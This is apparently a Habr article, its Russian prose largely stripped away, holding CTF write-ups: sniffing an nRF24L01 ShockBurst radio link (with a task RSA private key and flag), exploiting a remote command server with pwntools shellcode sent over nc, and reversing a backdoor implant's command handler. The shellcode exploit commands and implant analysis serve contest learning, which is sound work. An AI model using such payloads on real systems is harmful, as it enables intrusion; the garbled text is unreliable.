3e0aaccaaccaacccf21b0b7103bb2903a30b6359030b137baba1039b2b1bab934ba3c9f8000000021f4822 [Pause: 1183 samples]
, , .
, , . :
these devices are used iN wiReless keyboards and sometimes in Flying drones
NRF
. , , β nrf24l01
. , , .
, ShockBurst
. :
: aa
( 10101010
) 55
( 01010101
). , . , , URH, "".
Edit -> Decoding
. Additional Functions
Cut before/after
, Sequence
10101010
. cut_aa
.
01010101
, Sequence
.
Analysis
. cut_aa
.
URH . (-) Add label
. , ( , ).
Packet Control Field
. ShockBurst
, 9 . 9 .
URH , , . Packet Control Field
10 11 ( 58 59), 9 10!
payload
CRC
.
ascii, - payload
.
This is test message
. , (URH + + ), , .
10 , . , , , , 2401, , .
2405
, paylod
ShockBurst
. Transport for Moving Big Packet
β TMBP
.
Welcome to NSA - Not Safe Agency! Our transport protocol - TMBP (Transport for Moving Big Packets) is very simple, and it allows you to send big packets via ShockBurst protocol by using NRF24l01 module. Big packet - it is a packet that is larger than 22 bytes (max size of DATA in one packet), such packet must be fragmented into multiple pieces. TMBP structure: | Dest Addr | Src Addr | Stream ID | All len | Cur Offset | DATA | 2 2 2 2 2 22 Dest Addr - 2 bytes of address of a destination host Src Addr - 2 bytes of address of your host Stream ID - 2 bytes identification number of a stream which is used to transmit one Big packet All len - 2 bytes total length of Big packet Cur Offset - 2 bytes of an offset (how much Big packet's bytes were transmitted including bytes in a current packet) Destination addresses you can find on the Broadcast channel. All other parameters will be generated automatically. Also, you don't need to set up connection between you and a destination host, it will be created automatically. The only thing you need is a destination address! TMBP packet is incapsulated into ShockBurst protocol packet in NRF24l01. NRF24l01 address length is 5 bytes, during connection NRF24l01 address consists of 2 bytes of destination address + 2 bytes of source address + 0x00 byte. Addresses of Broadcast channels are hardcoded in an intial configuartion and are constant. Some channels don't use TMBP. Our channels configuration 2401 - Hint channel 2402 - Open broadcast channel 2403 - Open channel 2404 - Test channel 2405 - Link to transport protocol channel 2406 - Encrypted channel 1 2407 - Encrypted channel 2 2408 - Reserved channel 2409 - Broadcast channel 2410 - History channel
TMBP
, payload
. , , ( payload
), ( Stream ID
TMBP
).
2406 . :
Steve, I'm confused with all these keys for RSA. Is this is the one that I should use? https://pastebin.com/Di7LyG7Q?
Dave, you are doing it wrong! This channel is only for encrypted messages! Please generate new RSA key pair. To understand how this thing works send me an encrypted message using my public key: https://pastebin.com/eRFbC3BE
Ok Steve, catch encrypted data in next message.
4acea423fbbc878fea55a2c41a9646d5712c670cd910a525ef061cc26f02f10ff9bba6ccf9baad0e99e3064b4512413c0b34e5933d6186f65d4fcda19a7e7a54
-----BEGIN RSA PRIVATE KEY----- MIIBcwIBAAJAcCumoSCT6M/MPP7KwjzMT+9IEKWDhb/g+dg0mOFwnZfuvpr2bLC4 d2o1Ej2iG4/L0aJTrN2+kQMWOkRqB3uMZwJANjiCXRz9EWpXSHK+I2u7MQ3ay5D2 Iv5QSXchZ18zeY2j3prNYrUel43XHPbJzYXzYF5zrRHnH59UkY8iXYbQPwJAI/v6 Kwi8101wt0sSWdiUifsABiBtTBoMV/8skRi0EYmICXwvcEPwmFN2JucjNJBYoO2P HH3sQ65E53g+CPSA/wIg0OcbbzuSkFiPG1kviH74XFOmMNiqQHOQWuw1eoOxuxcC IIl1nAeixKVa296X84/0kiCXIF/eUsucSPidRVhg8UsxAiA3jAN3PhECl32UMDK6 907+ku8WFDXBuuXucsRplYQGQwIgk6eShjY5YR8uf+Tn6PpTQJYd1ndHjVlnYRTJ mjLjZvMCIIk7ZVY75SN3/xkoIGWM28aesFucWtKInmp0EoblvTOH -----END RSA PRIVATE KEY-----
-----BEGIN PUBLIC KEY----- MIGaMA0GCSqGSIb3DQEBAQUAA4GIADCBhAJAcCumoSCT6M/MPP7KwjzMT+9IEKWD hb/g+dg0mOFwnZfuvpr2bLC4d2o1Ej2iG4/L0aJTrN2+kQMWOkRqB3uMZwJAQui2 EbKYnqOAk6/dWzJPBUFeAX7Jl5rMj0QLCjAf51JdiX1A9DtKN27fH0MQ1X7zMvHm 4RojILm9moV9ut+S1w== -----END PUBLIC KEY-----
, PKCS#1
. openssl
, , RSA, , , RSA .
, :
flag{stup1d_ns4_h4ck1ng_dev1ce_zn2017}
, , SDR
NRF24l01
.
, , , SDR
, hackRF
bladeRF
. NRF
, .
, NRF
, ShockBurst
. :
NRF24l01
promiscuous
. . :ShockBurst
0xAA
0x55
( ). , .0x00
. , 0x00AA
0x0055
promiscuous
, ., , , NRF
. , .
pwn RuCTFe, -, , . , .
Winners | ||
1 | 2 | 3 |
| | |
: okob2008
, Kurlikasd
, mcstarpro
TL;DR: 7 read(0, stack, big_N)
, . ...
Day 6 / Strange command server
Some server receives commands in a very strange format. We have some command for it and its sources .
It is located on nc spbctf.ppctf.net 5353
Get the flag!
Structure
hq2017_task6_test.txt
:
5 13644205794.0 385557128.099 -566484950.0 -385556280.099 -12510807118.0
hq2017_task6_m116
β , :
$ file hq2017_task6_m116 hq2017_task6_m116: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, stripped $ sha256sum hq2017_task6_m116 65d94868039be955bbb7774b4dea01d7404ce3bda6250343a109900b5dd68007 hq2017_task6_m116
: ELF Linux x86-64 ( file). . , β . ELF , . snowman β . objdump β : .
, , , : , . , : backdoor ? ?
β , "cafebabe". "cafebabe". , jmp call . : callq *-0x20(%rbp)
, .
. 1 β . β SIGILL
. It is interesting! gdb : , SIGILL
, . checksec
: NX
. breakpoint , 1 , . : . , , : rip ($pc) .
, gdb 16 . : -, breakpoint', -, 4 . 4 : , , 6 ; , .
: 8 , , 8 , ; β - 16 . 16 β ( ), , read, , .
β SIGSEGV, . read. , shellcode 8 :
push rdx ; pop rax
β rdx rax ,pop rdx
β rdx ,pop rsi
β rsi , ,push rbx ; pop rdi
β rbx rdi ,syscall
β ., . . 2 . 3 ( pop rdi ; syscall
). , β 331615. . β 331615 * 2: , , β . .
, . shellcode pwntools. , , . shellcode nop: , .
:
user@ctf:~$ printf '331615\n1105016229177322000000.0\n' > input user@ctf:~$ python -c 'from pwn import *; context.arch = "x86_64"; print asm("nop") * 200 + asm(shellcraft.amd64.linux.sh())' > payload user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo ls) | nc spbctf.ppctf.net 5353 flag.txt m116 run.sh run_image.sh runserver.sh ^C user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo cat flag.txt) | nc spbctf.ppctf.net 5353 H0P3_U_3Nj0Y3D_OU12_OBFUSKATOR
3 51 .
: 'xchg eax, edx' rax . : 2 2848553957111076.0. .
. , snowman, pwntools ROPgadget, Debian " ".
file
β ,strings
β ( ),snowman
β ( ),objdump
β ,readelf
β ,strace
ltrace
β ( ),gdb
β , ,python
β , pwntools,pwntools
:asm()
β shellcode',disasm()
β shellcode',shellcraft.amd64.linux.sh()
β shellcode' ,Perl
, cat
, sed
, grep
, bash β ,ROPgadget
β ( ),man 2 read
β read,emacs
β shell-mode.printf '...' > input && printf 'run < input \n ...' | gdb ...
printf '... \n while 1 \nx/1i $pc \n si \n end \n' | gdb ...
asm('jmp L ; nop ; L: nop')
, nop' .for i in range(256): print disasm(chr(i))
xchg eax, edx
x86-64 1 . rax ( rdx). rdx 0 rax.. . . hq2017_task6_m116
m1
. , , , . , one-liner' ( ).
:
user@ctf:~$ readelf -a m1 ... Entry point address: 0x400710 ...
:
user@ctf:~$ printf 'break *0x400710 \n set pagination off \n run < hq2017_task6_test.txt \n while 1 \nx/1i $pc \n si \n end' | gdb ./m1 | grep -e call -e jmp ... => 0x4009ae: callq *-0x20(%rbp) ... => 0x400ac8: callq 0x4006a0 <printf@plt> ...
printf':
user@ctf:~$ gdb ./m1 ... (gdb) break printf Breakpoint 1 at 0x4006a0 (gdb) run < hq2017_task6_test.txt ... Breakpoint 1, __printf (format=0x6021b7 "%x\n") at printf.c:28 (gdb) info regi ... rsi 0xcafebabe 3405691582 rdi 0x6021b7 6300087 ... (gdb) finish Run till exit from #0 __printf (format=0x6021b7 "%x\n") at printf.c:28 cafebabe 0x0000000000400acd in ?? () ...
SIGILL, :
user@ctf:~$ printf '5\n13644205794.0 385557128.099 -566484950.0 -385556280.099 -2510807118.0\n' > input && printf 'set pagination off \n run < input \n info regis \nx/10i $pc \n' | gdb ./m1
... Program received signal SIGILL, Illegal instruction. ... rip 0x7fffffffe58a 0x7fffffffe58a ... (gdb) => 0x7fffffffe58a: (bad) 0x7fffffffe58b: rex.WX retq 0x7fffffffe58d: retq
0x4009ae: callq *-0x20(%rbp)
user@ctf:~$ printf '5\n13644205794.0 385557128.099 -566484950.0 -385556280.099 -2510807118.0\n' > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \n info regis \nx/10i $pc \n' | gdb ./m1
... Breakpoint 1, 0x00000000004009ae in ?? () ... rip 0x7fffffffe588 0x7fffffffe588 ... (gdb) => 0x7fffffffe588: mov $0x4e,%cl 0x7fffffffe58a: (bad) 0x7fffffffe58b: rex.WX retq 0x7fffffffe58d: retq
0x7fffffffe588
β ( ). , , , gdb . , .
user@ctf:~$ gdb ./m1 ... (gdb) run Starting program: /home/user/m1 ^C ... (gdb) info proc process 26241 ... (gdb) ! cat /proc/26241/maps ... 7ffffffde000-7ffffffff000 rwxp 00000000 00:00 0 [stack] ... (gdb) p 0x7fffffffe588 > 0x7ffffffde000 && 0x7fffffffe588 < 0x7ffffffff000 $1 = 1 (gdb) dump binary memory bin01 0x7ffffffde000 0x7fffffffefff ...
ROPgadget ( ):
user@ctf:~$ ~/.local/bin/ROPgadget --binary bin01 --rawMode=64 --rawArch=x86 ...
checksec: NX .
user@ctf:~$ ./checksec.sh/checksec --format json --file m1 ...,"nx":"no",...
(0x4142 == 16706):
user@ctf:~$ printf '5\n0.0\n' > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \nx/16xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/ /g' | grep '^0x[a-f0-9]\+:' 0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 0x7fffffffe590: 0xd1 0xe0 0xff 0xff 0x05 0x00 0x00 0x00 user@ctf:~$ printf '4\n0.0\n' ... 0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 0x7fffffffe590: 0xd1 0xe0 0xff 0xff 0x04 0x00 0x00 0x00 user@ctf:~$ printf '16706\n0.0\n' ... 0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 0x7fffffffe590: 0xd5 0xe0 0xff 0xff 0x42 0x41 0x00 0x00
4. , 1 6.
user@ctf:~$ seq 1000 | while read -ra; do printf '4\n%s.0\n' "$a" > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \nx/8xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/ /g' | grep '^0x[a-f0-9]\+:' ; done 0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 0x7fffffffe588: 0x00 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 0x7fffffffe588: 0x01 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 0x7fffffffe588: 0x02 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 ...
. 7 . ( Python)
user@ctf:~$ while read -ra; do printf '4\n%s.0\n' "$a" > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \nx/8xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/ /g' | grep '^0x[a-f0-9]\+:' ; done >>> 0x41 * 6 390 0x7fffffffe588: 0x41 0xc3 0xc3 0xc3 0x00 0x00 0x00 0x00 >>> 0x4142 * 6 100236 0x7fffffffe588: 0x42 0x41 0xc3 0xc3 0xc3 0x00 0x00 0x00 >>> 0x414243 * 6 25660818 0x7fffffffe588: 0x43 0x42 0x41 0xc3 0xc3 0xc3 0x00 0x00 >>> 0x41424344 * 6 6569169816 0x7fffffffe588: 0x44 0x43 0x42 0x41 0xc3 0xc3 0xc3 0x00 >>> 0x4142434445 * 6 1681707473310 0x7fffffffe588: 0x45 0x44 0x43 0x42 0x41 0xc3 0xc3 0xc3 >>> 0x414243444546 * 6 430517113167780 0x7fffffffe588: 0x46 0x45 0x44 0x43 0x42 0x41 0xc3 0xc3 >>> 0x41424344454647 * 6 110212380970952106 0x7fffffffe588: 0x48 0x46 0x45 0x44 0x43 0x42 0x41 0x00 >>> 0x4142434445464748 * 6 28214369528563739568L 0x7fffffffe588: 0x00 0x48 0x46 0x45 0x44 0x43 0x42 0x41 >>> 0x1234567890112233 * 6 7870610803708579122 0x7fffffffe588: 0x00 0x22 0x11 0x90 0x78 0x56 0x34 0x12
shellcode', , .
user@ctf:~$ printf '4\n1.0\n' > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \nx/4xg $rsp \n info reg \n' | gdb ./m1 | sed -e 's/(gdb) //' ...
0x00007fffffffe588 in ?? () 0x7fffffffe528: 0x00000000004009b1 0x00007fffffffe588 0x7fffffffe538: 0x3fc5555555555555 0x000000000000007c rax 0x7fffffffe500 140737488348416 rbx 0x0 0 rcx 0xc3c3c300 3284386560 rdx 0x0 0 rsi 0x7fffffffe6d0 140737488348880 rdi 0x400710 4196112 rbp 0x7fffffffe5a0 0x7fffffffe5a0 rsp 0x7fffffffe528 0x7fffffffe528 r8 0x0 0 r9 0x7ffff787ec60 140737346268256 r10 0x7fffffffe2f0 140737488347888 r11 0x7ffff7b01530 140737348900144 r12 0x400710 4196112 r13 0x7fffffffe6d0 140737488348880 r14 0x0 0 r15 0x0 0 rip 0x7fffffffe588 0x7fffffffe588 ...
: 0x00000000004009b1
β shellcode', 0x00007fffffffe588
β .
pwntools shellcode':
>>> from pwn import * >>> context.arch = "x86_64" >>> print asm('pop rdi; syscall')[::-1].encode('hex') 050f5f >>> 0x050f5f 331615
pwntools shellcode' : 5 , 2 β 5 , nop' ("90" hex). nop' .
>>> print asm('push rdx ; pop rax ; pop rdx ; pop rsi ; push rbx ; jmp L ; nop ; nop ; nop ; nop ; nop ; L: nop')[::-1].encode('hex') 90909090909005eb535e5a5852 >>> 0x05eb535e5a5852 * 331615 * 2 1105019561413684439260L
, :
user@ctf:~$ while read -ra; do printf '331615\n%s.0\n' "$a" > input && printf 'set pagination off \n break *0x4009ae \n run < input \n si \nx/8xb $pc \n' | gdb ./m1 | sed -e 's/(gdb) //; s/\t/ /g' | grep '^0x[a-f0-9]\+:' ; done 1105019561413684439260 0x7fffffffe588: 0xf1 0x9d 0xd2 0x89 0x54 0xeb 0x05 0x00 ... 1105016229177322000000 0x7fffffffe588: 0x52 0x58 0x5a 0x5e 0x53 0xeb 0x05 0x00
:
user@ctf:~$ printf '331615\n1105016229177322000000.0\n' > input user@ctf:~$ python -c 'from pwn import *; context.arch = "x86_64"; print asm("nop") * 200 + asm(shellcraft.amd64.linux.sh())' > payload user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo ls) | nc spbctf.ppctf.net 5353 flag.txt m116 run.sh run_image.sh runserver.sh ^C user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo cat flag.txt) | nc spbctf.ppctf.net 5353 H0P3_U_3Nj0Y3D_OU12_OBFUSKATOR
>>> for c in (c for c in (disasm(chr(i)) for i in range(256)) if '.byte' not in c and '(bad)' not in c): print c 0: 0: 26 es 0: 2e cs 0: 36 ss 0: 3e ds 0: 40 rex 0: 41 rex.B 0: 42 rex.X 0: 43 rex.XB 0: 44 rex.R 0: 45 rex.RB 0: 46 rex.RX 0: 47 rex.RXB 0: 48 rex.W 0: 49 rex.WB 0: 4a rex.WX 0: 4b rex.WXB 0: 4c rex.WR 0: 4d rex.WRB 0: 4e rex.WRX 0: 4f rex.WRXB 0: 50 push rax 0: 51 push rcx 0: 52 push rdx 0: 53 push rbx 0: 54 push rsp 0: 55 push rbp 0: 56 push rsi 0: 57 push rdi 0: 58 pop rax 0: 59 pop rcx 0: 5a pop rdx 0: 5b pop rbx 0: 5c pop rsp 0: 5d pop rbp 0: 5e pop rsi 0: 5f pop rdi 0: 64 fs 0: 65 gs 0: 66 data16 0: 67 addr32 0: 6c ins BYTE PTR es:[rdi],dx 0: 6d ins DWORD PTR es:[rdi],dx 0: 6e outs dx,BYTE PTR ds:[rsi] 0: 6f outs dx,DWORD PTR ds:[rsi] 0: 90 nop 0: 91 xchg ecx,eax 0: 92 xchg edx,eax 0: 93 xchg ebx,eax 0: 94 xchg esp,eax 0: 95 xchg ebp,eax 0: 96 xchg esi,eax 0: 97 xchg edi,eax 0: 98 cwde 0: 99 cdq 0: 9b fwait 0: 9c pushf 0: 9d popf 0: 9e sahf 0: 9f lahf 0: a4 movs BYTE PTR es:[rdi],BYTE PTR ds:[rsi] 0: a5 movs DWORD PTR es:[rdi],DWORD PTR ds:[rsi] 0: a6 cmps BYTE PTR ds:[rsi],BYTE PTR es:[rdi] 0: a7 cmps DWORD PTR ds:[rsi],DWORD PTR es:[rdi] 0: aa stos BYTE PTR es:[rdi],al 0: ab stos DWORD PTR es:[rdi],eax 0: ac lods al,BYTE PTR ds:[rsi] 0: ad lods eax,DWORD PTR ds:[rsi] 0: ae scas al,BYTE PTR es:[rdi] 0: af scas eax,DWORD PTR es:[rdi] 0: c3 ret 0: c9 leave 0: cb retf 0: cc int3 0: cf iret 0: d7 xlat BYTE PTR ds:[rbx] 0: ec in al,dx 0: ed in eax,dx 0: ee out dx,al 0: ef out dx,eax 0: f0 lock 0: f1 icebp 0: f2 repnz 0: f3 repz 0: f4 hlt 0: f5 cmc 0: f8 clc 0: f9 stc 0: fa cli 0: fb sti 0: fc cld 0: fd std
: Web RE ( SchoolCTF). . - , . xss , malware . 200 .
Winners | ||
1 | 2 | 3 |
| | |
If you are seeing this text you've got to be a highly experienced security professional.
Recently our IDS system has detected some weird user behavior in one of our corporate accounts. During an investigation we've found an incoming connection to a non-standard TCP port. We've been able to track source IP that led us to malware.zn.school-ctf.org. The website seems to be abandoned and we couldn't find anything which would help us to trace a real source of an intial connection or to contact the website owners.
We are suspecting that the machine is infected with some implants, but couldn't find any proofs of that either. We are asking you to continue the investigation, but we cannot give you an access to an internal network. You must find a shop owners and take control over implants in our network (if there are any).
We've already isolated possibly infected machine so you can find files that will proof presence of implants.
Yours,
VDooli Inc.
main
: void __fastcall __noreturn main(__int64 argc, char **argv, char **env) { agree(); clear_argv((const char **)argv); myfork(); nop(); sub_4012E8((__int64)&unk_611030); setup_socket(); }
agree
β AGREE
clear_argv
β argv[0]
myfork
βsub_4012E8
β -setup_socket
βsetup_socket
.
__int64 __fastcall handle_sock(int fd) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] v30 = *MK_FP(__FS__, 40LL); v1 = time(0LL); srand(v1); buf = rand() % 998 + 1; write(fd, &buf, 4uLL); v24 = 127; v25 = &v28; v10 = len_read(fd, (__int64)&v24, 0x7Fu); if ( v10 ) { v14 = malloc(0x1000uLL); v15 = malloc(0x1000uLL); ptr = malloc(0x1000uLL); v17 = malloc(0x1000uLL); if ( v14 && v15 && ptr && v17 ) { ascii_to_utf16(v14, (__int64)&v24); v18 = sub_401143((__int64)&unk_611030, 7); do { sub_4024CE(); v19 = v2; } while ( v2 != 2 ); nptr = &v29; utf16_to_ascii((signed int *)v14, (__int64)&v26); v11 = strtol(nptr, 0LL, 10); if ( v11 == buf ) { write(fd, "maladca", 7uLL); v10 = len_read(fd, (__int64)&v24, 0x7Fu); if ( v10 ) { ascii_to_utf16(v14, (__int64)&v24); decrypt((__int64)v14, (__int64)v15); v12 = space_index((char *)v14); if ( v12 != -1 ) { v10 = substr((char *)v14, (__int64)ptr, 0, v12); if ( v10 != -1 ) { v10 = substr((char *)v14, (__int64)v17, v12 + 2, -1); if ( v10 != -1 ) { v3 = command_to_idx((__int64)ptr, (__int64)v15); v13 = v3; switch ( v3 ) { case 2: utf16_to_ascii((signed int *)v17, (__int64)&v26); v20 = nptr; nptr[v26] = 0; v4 = (unsigned __int64)list_dir(nptr); s = (char *)v4; if ( v4 ) { v26 = strlen(s); nptr = s; for ( i = 0; v26 > i; ++i ) ++s[i]; len_write(fd, (__int64)&v26); free(s); } break; case 3: utf16_to_ascii((signed int *)v17, (__int64)&v26); v20 = nptr; nptr[v26] = 0; v5 = (unsigned __int64)cat_file(nptr); v22 = v5; if ( v5 ) { v23 = *(_QWORD *)(v22 + 8); for ( j = 0; *(_DWORD *)v22 > j; ++j ) ++*(_BYTE *)((signed int)j + v23); len_write(fd, v22); sub_4026E0(v22); } break; case 1: sub_4015CB(v14, "hello hello my friend!"); sub_40127B((__int64)v14, (__int64)v15); utf16_to_ascii((signed int *)v14, (__int64)&v26); len_write(fd, (__int64)&v26); break; } } } } } } } if ( ptr ) free(ptr); if ( v17 ) free(v17); if ( v14 ) free(v14); if ( v15 ) free(v15); } return *MK_FP(__FS__, 40LL) ^ v30; }
What's going on here:
length-value
strtol
maladca
utf16
, - ,hello
β 1jqi3ow0o3qw3
β 2t35j3r8o3h92
β 3length-value
. , length-value
0x4010E6
, .
, :
def dec(data): data = list(data) prefix = 0 for i in range(len(data)): data[-i - 1] ^= prefix prefix = data[-i - 1] return bytes(data)
flag.txt
.
Source: https://habr.com/ru/post/342224/
All Articles